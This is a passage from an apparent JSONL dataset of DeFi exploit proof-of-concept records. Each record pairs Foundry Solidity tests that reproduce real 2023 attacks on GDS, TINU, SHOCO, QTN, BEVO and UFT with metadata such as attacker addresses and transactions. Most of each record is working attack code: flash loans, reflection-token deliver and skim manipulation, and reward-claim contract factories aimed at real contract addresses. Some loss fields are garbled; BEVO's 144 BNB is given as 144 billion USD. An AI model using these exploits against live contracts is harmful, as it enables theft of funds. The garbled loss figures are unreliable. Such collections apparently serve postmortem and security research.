}\n\n function withdraw() external {\n GDS.transfer(deadAddress, 10_000);\n Pair.transfer(Owner, Pair.balanceOf(address(this)));\n GDS.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(GDS);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n GDS.balanceOf(address(this)), 0, path, Owner, block.timestamp\n );\n }\n}\n\ncontract ContractTest is Test {\n GDSToken GDS = GDSToken(0xC1Bb12560468fb255A8e8431BDF883CC4cB3d278);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0x28ec0B36F0819ecB5005cAB836F4ED5a2eCa4D13);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x4526C263571eb57110D161b41df8FD073Df3C44A);\n address[] contractList;\n uint256 PerContractGDSAmount;\n uint256 SwapFlashLoanAmount;\n uint256 dodoFlashLoanAmount;\n address deadAddress = 0x000000000000000000000000000000000000dEaD;\n address dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 24_449_918);\n cheats.label(address(GDS), \"GDS\");\n cheats.label(address(USDT), \"USDT\");\n }\n\n function testExploit() public {\n address(WBNB).call{value: 50 ether}(\"\");\n WBNBToUSDT();\n USDTToGDS(10 * 1e18);\n GDSUSDTAddLiquidity(10 * 1e18, GDS.balanceOf(address(this)));\n USDTToGDS(USDT.balanceOf(address(this)));\n PerContractGDSAmount = GDS.balanceOf(address(this)) / 100;\n ClaimRewardFactory();\n\n cheats.roll(block.number + 1100);\n SwapFlashLoan();\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)) - 50 * 250 * 1e18, USDT.decimals()\n );\n }\n\n function SwapFlashLoan() internal {\n SwapFlashLoanAmount = USDT.balanceOf(address(swapFlashLoan));\n swapFlashLoan.flashLoan(address(this), address(USDT), SwapFlashLoanAmount, new bytes(1));\n }\n\n function executeOperation(\n address pool,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata params\n ) external {\n DODOFLashLoan();\n USDT.transfer(address(swapFlashLoan), SwapFlashLoanAmount * 10_000 / 9992 + 1000);\n }\n\n function DODOFLashLoan() internal {\n dodoFlashLoanAmount = USDT.balanceOf(dodo);\n DVM(dodo).flashLoan(0, dodoFlashLoanAmount, address(this), new bytes(1));\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n USDTToGDS(600_000 * 1e18);\n GDSUSDTAddLiquidity(USDT.balanceOf(address(this)), GDS.balanceOf(address(this)));\n WithdrawRewardFactory();\n GDSUSDTRemovLiquidity();\n GDSToUSDT();\n USDT.transfer(dodo, dodoFlashLoanAmount);\n }\n\n function ClaimRewardFactory() internal {\n for (uint256 i = 0; i < 100; i++) {\n ClaimReward claim = new ClaimReward();\n contractList.push(address(claim));\n Pair.transfer(address(claim), Pair.balanceOf(address(this)));\n GDS.transfer(address(claim), PerContractGDSAmount);\n claim.transferToken();\n }\n }\n\n function WithdrawRewardFactory() internal {\n for (uint256 i = 0; i < 100; i++) {\n Pair.transfer(contractList[i], Pair.balanceOf(address(this)));\n IClaimReward(contractList[i]).withdraw();\n }\n }\n\n function WBNBToUSDT() internal {\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function USDTToGDS(\n uint256 USDTAmount\n ) internal {\n USDT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(GDS);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n USDTAmount, 0, path, address(this), block.timestamp\n );\n }\n\n function GDSUSDTAddLiquidity(uint256 USDTAmount, uint256 GDSAmount) internal {\n USDT.approve(address(Router), type(uint256).max);\n GDS.approve(address(Router), type(uint256).max);\n Router.addLiquidity(address(USDT), address(GDS), USDTAmount, GDSAmount, 0, 0, address(this), block.timestamp);\n }\n\n function GDSUSDTRemovLiquidity() internal {\n Pair.approve(address(Router), type(uint256).max);\n Router.removeLiquidity(\n address(USDT), address(GDS), Pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n );\n }\n\n function GDSToUSDT() internal {\n GDS.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(GDS);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n GDS.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "GDS", "date": "2023-01", "file_name": "GDS_exp.sol", "attack_vector": "flash_loan", "content_hash": "9482e4fae1ad362c", "collected_at": "2026-01-07T10:59:16.525208", "_source": "postmortems", "chain": "bsc", "block_number": 24449918, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n address(WBNB).call{value: 50 ether}(\"\");\n WBNBToUSDT();\n USDTToGDS(10 * 1e18);\n GDSUSDTAddLiquidity(10 * 1e18, GDS.balanceOf(address(this)));\n USDTToGDS(USDT.balanceOf(address(this)));\n PerContractGDSAmount = GDS.balanceOf(address(this)) / 100;\n ClaimRewardFactory();\n\n cheats.roll(block.number + 1100);\n SwapFlashLoan();\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)) - 50 * 250 * 1e18, USDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "GDS Exploit (2023-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\n\n// Total lost: 22 ETH\n// Attacker: 0x14d8ada7a0ba91f59dc0cb97c8f44f1d177c2195\n// Attack Contract: 0xdb2d869ac23715af204093e933f5eb57f2dc12a9\n// Vulnerable Contract: 0x2d0e64b6bf13660a4c0de42a0b88144a7c10991f\n// Attack Tx: https://phalcon.blocksec.com/tx/eth/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668\n// https://etherscan.io/tx/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668\n\n// @Analysis\n// https://twitter.com/libevm/status/1618731761894309889\n\ncontract TomInuExploit is Test {\n IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n reflectiveERC20 private constant TINU = reflectiveERC20(0x2d0E64B6bF13660a4c0De42a0B88144a7C10991F);\n\n IBalancerVault private constant balancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IRouter private constant router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n IUniswapV2Pair private constant TINU_WETH = IUniswapV2Pair(0xb835752Feb00c278484c464b697e03b03C53E11B);\n\n function testHack() external {\n vm.createSelectFork(\"mainnet\", 16_489_408);\n\n // flashloan WETH from Balancer\n address[] memory tokens = new address[](1);\n tokens[0] = address(WETH);\n\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 104.85 ether;\n\n balancerVault.flashLoan(address(this), tokens, amounts, \"\");\n }\n\n function receiveFlashLoan(\n reflectiveERC20[] memory,\n uint256[] memory amounts,\n uint256[] memory,\n bytes memory\n ) external {\n // swapp WETH for TINU to give Pair large fees\n WETH.approve(address(router), type(uint256).max);\n TINU.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(TINU);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 104.85 ether, 0, path, address(this), type(uint256).max\n );\n\n console.log(\"%s TINU in pair before deliver\", TINU.balanceOf(address(TINU_WETH)) / 1e18);\n console.log(\"%s TINU in attack contract before deliver\", TINU.balanceOf(address(this)) / 1e18);\n console.log(\"-------------Delivering-------------\");\n\n TINU.deliver(TINU.balanceOf(address(this))); // give away TINU\n\n console.log(\"%s TINU in pair after deliver\", TINU.balanceOf(address(TINU_WETH)) / 1e18);\n console.log(\"%s TINU in attack contract after deliver\", TINU.balanceOf(address(this)) / 1e18);\n console.log(\"-------------Skimming---------------\");\n\n TINU_WETH.skim(address(this));\n\n console.log(\"%s TINU in pair after skim\", TINU.balanceOf(address(TINU_WETH)) / 1e18);\n console.log(\"%s TINU in attack contract after skim\", TINU.balanceOf(address(this)) / 1e18);\n console.log(\"-------------Delivering-------------\");\n\n TINU.deliver(TINU.balanceOf(address(this)));\n\n console.log(\"%s TINU in pair after deliver 2\", TINU.balanceOf(address(TINU_WETH)) / 1e18);\n console.log(\"%s TINU in attack contract after deliver 2\", TINU.balanceOf(address(this)) / 1e18);\n // WETH in Pair always = 126\n\n TINU_WETH.swap(0, WETH.balanceOf(address(TINU_WETH)) - 0.01 ether, address(this), \"\");\n\n // repay\n WETH.transfer(address(balancerVault), amounts[0]);\n\n console.log(\"\\n Attacker's profit: %s WETH\", WETH.balanceOf(address(this)) / 1e18);\n }\n}\n\n/* -------------------- Interface -------------------- */\ninterface reflectiveERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function deliver(\n uint256 tAmount\n ) external;\n}\n\ninterface IWETH {\n function deposit() external payable;\n function transfer(address to, uint256 value) external returns (bool);\n function approve(address guy, uint256 wad) external returns (bool);\n function withdraw(\n uint256 wad\n ) external;\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface IBalancerVault {\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n}\n\ninterface IRouter {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IUniswapV2Pair {\n function balanceOf(\n address\n ) external view returns (uint256);\n function skim(\n address to\n ) external;\n function sync() external;\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n}\n", "type": "exploit_poc", "protocol": "TINU", "date": "2023-01", "file_name": "TINU_exp.sol", "attack_vector": "flash_loan", "content_hash": "d5594f9270de2b2f", "collected_at": "2026-01-07T10:59:16.525265", "_source": "postmortems", "chain": "ethereum", "block_number": 16489408, "total_lost_raw": "22 ETH", "total_lost_usd": 22.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://phalcon.blocksec.com/tx/eth/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "22 ETH", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://phalcon.blocksec.com/tx/eth/0x6200bf5c43c214caa1177c3676293442059b4f39eb5dbae6cfd4e6ad16305668", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$22", "content_richness_score": 6.57, "quality_estimate": "medium", "title": "TINU Exploit (2023-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~4 ETH\n// Original Attacker: https://etherscan.io/address/0x14d8ada7a0ba91f59dc0cb97c8f44f1d177c2195\n// Frontrunner: https://etherscan.io/address/0xe71aca93c0e0721f8250d2d0e4f883aa1c020361\n// Original Attack Contract: https://etherscan.io/address/0x15d684b4ecdc0ece8bc9aec6bce3398a9a4c7611\n// Vulnerable Contract: https://etherscan.io/address/0x31a4f372aa891b46ba44dc64be1d8947c889e9c6\n// Attack Tx: https://etherscan.io/tx/0x2e832f044b4a0a0b8d38166fe4d781ab330b05b9efa9e72a7a0895f1b984084b\n\n// @Analysis\n// https://github.com/Autosaida/DeFiHackAnalysis/blob/master/analysis/230119_SHOCO.md\n\ninterface IReflection is IERC20 {\n function deliver(\n uint256 amount\n ) external;\n function tokenFromReflection(\n uint256 rAmount\n ) external view returns (uint256);\n}\n\ncontract SHOCOAttacker is Test {\n IUniswapV2Pair shoco_weth = IUniswapV2Pair(0x806b6C6819b1f62Ca4B66658b669f0A98e385D18);\n IReflection shoco = IReflection(0x31A4F372AA891B46bA44dC64Be1d8947c889E9c6);\n IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\");\n\n vm.label(address(shoco_weth), \"shoco-weth UniswapPair\");\n vm.label(address(weth), \"WETH\");\n vm.label(address(shoco), \"SHOCO\");\n }\n\n function getMappingValue(address targetContract, uint256 mapSlot, address key) public returns (uint256) {\n bytes32 slotValue = vm.load(targetContract, keccak256(abi.encode(key, mapSlot)));\n return uint256(slotValue);\n }\n\n // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountOut) {\n require(amountIn > 0, \"UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"UniswapV2Library: INSUFFICIENT_LIQUIDITY\");\n uint256 amountInWithFee = amountIn * 997;\n uint256 numerator = amountInWithFee * reserveOut;\n uint256 denominator = (reserveIn * 1000) + amountInWithFee;\n amountOut = numerator / denominator;\n }\n\n // given an output amount of an asset and pair reserves, returns a required input amount of the other asset\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) internal pure returns (uint256 amountIn) {\n require(amountOut > 0, \"UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT\");\n require(reserveIn > 0 && reserveOut > 0, \"UniswapV2Library: INSUFFICIENT_LIQUIDITY\");\n uint256 numerator = reserveIn * amountOut * 1000;\n uint256 denominator = (reserveOut - amountOut) * 997;\n amountIn = (numerator / denominator) + 1;\n }\n\n function testExploit() external {\n uint256 attackBlockNumber = 16_440_978;\n vm.rollFork(attackBlockNumber);\n emit log_named_decimal_uint(\"WETH balance\", weth.balanceOf(address(shoco_weth)), weth.decimals());\n deal(address(weth), address(this), 2000 ether);\n\n uint256 rTotal = uint256(vm.load(address(shoco), bytes32(uint256(14))));\n uint256 rExcluded = getMappingValue(address(shoco), 3, address(0xCb23667bb22D8c16e742d3Cce6CD01642bAaCc1a));\n uint256 rAmountOut = rTotal - rExcluded;\n uint256 shocoAmountOut = shoco.tokenFromReflection(rAmountOut) - 0.1 * 10 ** 9;\n\n (uint256 reserve0, uint256 reserve1,) = shoco_weth.getReserves();\n uint256 wethAmountIn = getAmountIn(shocoAmountOut, reserve1, reserve0);\n emit log_named_decimal_uint(\"WETH amountIn\", wethAmountIn, weth.decimals());\n weth.transfer(address(shoco_weth), wethAmountIn);\n\n shoco_weth.swap(shocoAmountOut, 0, address(this), \"\");\n\n shoco.deliver(shoco.balanceOf(address(this)) * 99_999 / 100_000);\n\n (reserve0, reserve1,) = shoco_weth.getReserves();\n uint256 wethAmountOut = getAmountOut(shoco.balanceOf(address(shoco_weth)) - reserve0, reserve0, reserve1);\n shoco_weth.swap(0, wethAmountOut, address(this), \"\");\n if (wethAmountIn < wethAmountOut) {\n emit log_named_decimal_uint(\"Attack profit:\", wethAmountOut - wethAmountIn, weth.decimals());\n } else {\n emit log_named_decimal_uint(\"Attack loss:\", wethAmountIn - wethAmountOut, weth.decimals());\n }\n }\n}\n", "type": "exploit_poc", "protocol": "SHOCO", "date": "2023-01", "file_name": "SHOCO_exp.sol", "attack_vector": null, "content_hash": "b14adc24c4d28773", "collected_at": "2026-01-07T10:59:16.525325", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~4 ETH", "total_lost_usd": 4.0, "attacker_address": "https://etherscan.io/address/0x14d8ada7a0ba91f59dc0cb97c8f44f1d177c2195", "attack_contract": "https://etherscan.io/address/0x15d684b4ecdc0ece8bc9aec6bce3398a9a4c7611", "vulnerable_contract": "https://etherscan.io/address/0x31a4f372aa891b46ba44dc64be1d8947c889e9c6", "attack_tx": "https://etherscan.io/tx/0x2e832f044b4a0a0b8d38166fe4d781ab330b05b9efa9e72a7a0895f1b984084b", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~4 ETH", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~4 ETH", "keyinfo_attacker": "https://etherscan.io/address/0x14d8ada7a0ba91f59dc0cb97c8f44f1d177c2195", "keyinfo_attack_contract": "https://etherscan.io/address/0x15d684b4ecdc0ece8bc9aec6bce3398a9a4c7611", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x31a4f372aa891b46ba44dc64be1d8947c889e9c6", "keyinfo_attack_tx": "https://etherscan.io/tx/0x2e832f044b4a0a0b8d38166fe4d781ab330b05b9efa9e72a7a0895f1b984084b", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4", "content_richness_score": 6.28, "quality_estimate": "medium", "title": "SHOCO Exploit (2023-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1615625901739511809\n// @TX\n// https://etherscan.io/tx/0x37cb8626e45f0749296ef080acb218e5ccc7efb2ae4d39c952566dc378ca1c4c\n// https://etherscan.io/tx/0xfde10ad92566f369b23ed5135289630b7a6453887c77088794552c2a3d1ce8b7\n\ncontract QTNContract {\n IERC20 QTN = IERC20(0xC9fa8F4CFd11559b50c5C7F6672B9eEa2757e1bd);\n\n function transferBack() external {\n QTN.transfer(msg.sender, QTN.balanceOf(address(this)));\n }\n}\n\ncontract ContractTest is Test {\n IERC20 QTN = IERC20(0xC9fa8F4CFd11559b50c5C7F6672B9eEa2757e1bd);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xA8208dA95869060cfD40a23eb11F2158639c829B);\n address[] contractList;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_430_212);\n cheats.label(address(QTN), \"QTN\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(Pair), \"Pair\");\n }\n\n function testExploit() public {\n address(WETH).call{value: 2 ether}(\"\");\n WETHToQTN();\n cheats.warp(block.timestamp + 500); // _timeLimitFromLastBuy 5 minutes\n QTNContractFactory();\n cheats.warp(block.timestamp + 500);\n QTNContractBack();\n QTNToWETH();\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function QTNContractFactory() internal {\n uint256 transferAmount = QTN.balanceOf(address(this)) / 40;\n for (uint256 i; i < 40; ++i) {\n QTNContract QTNcontract = new QTNContract();\n contractList.push(address(QTNcontract));\n QTN.transfer(address(Pair), transferAmount);\n Pair.skim(address(QTNcontract));\n }\n }\n\n function QTNContractBack() internal {\n for (uint256 i; i < 40; ++i) {\n contractList[i].call(abi.encodeWithSignature(\"transferBack()\"));\n }\n }\n\n function WETHToQTN() internal {\n WETH.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(QTN);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function QTNToWETH() internal {\n QTN.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(QTN);\n path[1] = address(WETH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n QTN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "QTN", "date": "2023-01", "file_name": "QTN_exp.sol", "attack_vector": null, "content_hash": "71e5acaebc0939b7", "collected_at": "2026-01-07T10:59:16.525379", "_source": "postmortems", "chain": "ethereum", "block_number": 16430212, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n address(WETH).call{value: 2 ether}(\"\");\n WETHToQTN();\n cheats.warp(block.timestamp + 500); // _timeLimitFromLastBuy 5 minutes\n QTNContractFactory();\n cheats.warp(block.timestamp + 500);\n QTNContractBack();\n QTNToWETH();\n\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.55, "quality_estimate": "low", "title": "QTN Exploit (2023-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Total lost: 144 BNB\n// Frontrunner: https://bscscan.com/address/0xd3455773c44bf0809e2aeff140e029c632985c50\n// Original Attacker: https://bscscan.com/address/0x68fa774685154d3d22dec195bc77d53f0261f9fd\n// Frontrunner Contract: https://bscscan.com/address/0xbec576e2e3552f9a1751db6a4f02e224ce216ac1\n// Original Attack Contract: https://bscscan.com/address/0xbf7fc9e12bcd08ec7ef48377f2d20939e3b4845d\n// Vulnerable Contract: https://bscscan.com/address/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa\n// Attack Tx: https://bscscan.com/tx/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d\n\n// @Analysis\n// https://twitter.com/QuillAudits/status/1620377951836708865\n\ncontract BEVOExploit is Test {\n IERC20 private constant wbnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n reflectiveERC20 private constant bevo = reflectiveERC20(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa);\n IUniswapV2Pair private constant wbnb_usdc = IUniswapV2Pair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b);\n IUniswapV2Pair private constant bevo_wbnb = IUniswapV2Pair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633);\n IPancakeRouter private constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 25_230_702);\n\n cheats.label(address(wbnb), \"WBNB\");\n cheats.label(address(bevo), \"BEVO\");\n cheats.label(address(wbnb_usdc), \"PancakePair: WBNB-USDC\");\n cheats.label(address(bevo_wbnb), \"PancakePair: BEVO-WBNB\");\n cheats.label(address(router), \"PancakeRouter\");\n }\n\n function testExploit() external {\n // flashloan WBNB from PancakePair\n wbnb.approve(address(router), type(uint256).max);\n wbnb_usdc.swap(0, 192.5 ether, address(this), new bytes(1));\n emit log_named_decimal_uint(\"WBNB balance after exploit\", wbnb.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(\n address, /*sender*/\n uint256, /*amount0*/\n uint256, /*amount1*/\n bytes calldata /*data*/\n ) external {\n address[] memory path = new address[](2);\n path[0] = address(wbnb);\n path[1] = address(bevo);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n wbnb.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n\n bevo.deliver(bevo.balanceOf(address(this)));\n bevo_wbnb.skim(address(this));\n bevo.deliver(bevo.balanceOf(address(this)));\n bevo_wbnb.swap(337 ether, 0, address(this), \"\");\n\n wbnb.transfer(address(wbnb_usdc), 193 ether);\n }\n}\n/* -------------------- Interface -------------------- */\n\ninterface reflectiveERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n function deliver(\n uint256 tAmount\n ) external;\n}\n", "type": "exploit_poc", "protocol": "BEVO", "date": "2023-01", "file_name": "BEVO_exp.sol", "attack_vector": "flash_loan", "content_hash": "776d6a4d630b8e5e", "collected_at": "2026-01-07T10:59:16.525420", "_source": "postmortems", "chain": "bsc", "block_number": 25230702, "total_lost_raw": "144 BNB", "total_lost_usd": 144000000000.0, "attacker_address": "https://bscscan.com/address/0x68fa774685154d3d22dec195bc77d53f0261f9fd", "attack_contract": "https://bscscan.com/address/0xbf7fc9e12bcd08ec7ef48377f2d20939e3b4845d", "vulnerable_contract": "https://bscscan.com/address/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa", "attack_tx": "https://bscscan.com/tx/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "144 BNB", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x68fa774685154d3d22dec195bc77d53f0261f9fd", "keyinfo_attack_contract": "https://bscscan.com/address/0xbf7fc9e12bcd08ec7ef48377f2d20939e3b4845d", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa", "keyinfo_attack_tx": "https://bscscan.com/tx/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$144000.00M", "content_richness_score": 6.66, "quality_estimate": "medium", "title": "BEVO Exploit (2023-01)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1613507804412940289\n// @TX\n// https://bscscan.com/tx/0x933d19d7d822e84e34ca47ac733226367fbee0d9c0c89d88d431c4f99629d77a\n\ninterface SHOP {\n function buyPublicOffer(address _dao, uint256 _lpAmount) external;\n}\n\ninterface IUFT is IERC20 {\n function burn(\n uint256 _amount,\n address[] memory _tokens,\n address[] memory _adapters,\n address[] memory _pools\n ) external;\n}\n\ncontract ContractTest is Test {\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n SHOP shop = SHOP(0xCA49EcF7e7bb9bBc9D1d295384663F6BA5c0e366);\n IUFT UFT = IUFT(0xf887A2DaC0DD432997C970BCE597A94EaD4A8c25);\n IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n address UF = 0x2101e0F648A2b5517FD2C5D9618582E9De7a651A;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 24_705_058);\n cheats.label(address(shop), \"SHOP\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(UFT), \"UFT\");\n cheats.label(address(WBNB), \"WBNB\");\n }\n\n function testExploit() external {\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(USDC);\n Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 4 * 1e17}(\n 1, path, address(this), block.timestamp\n );\n USDC.approve(address(shop), type(uint256).max);\n uint256 amount = USDC.balanceOf(address(this));\n shop.buyPublicOffer(UF, amount);\n address[] memory tokens = 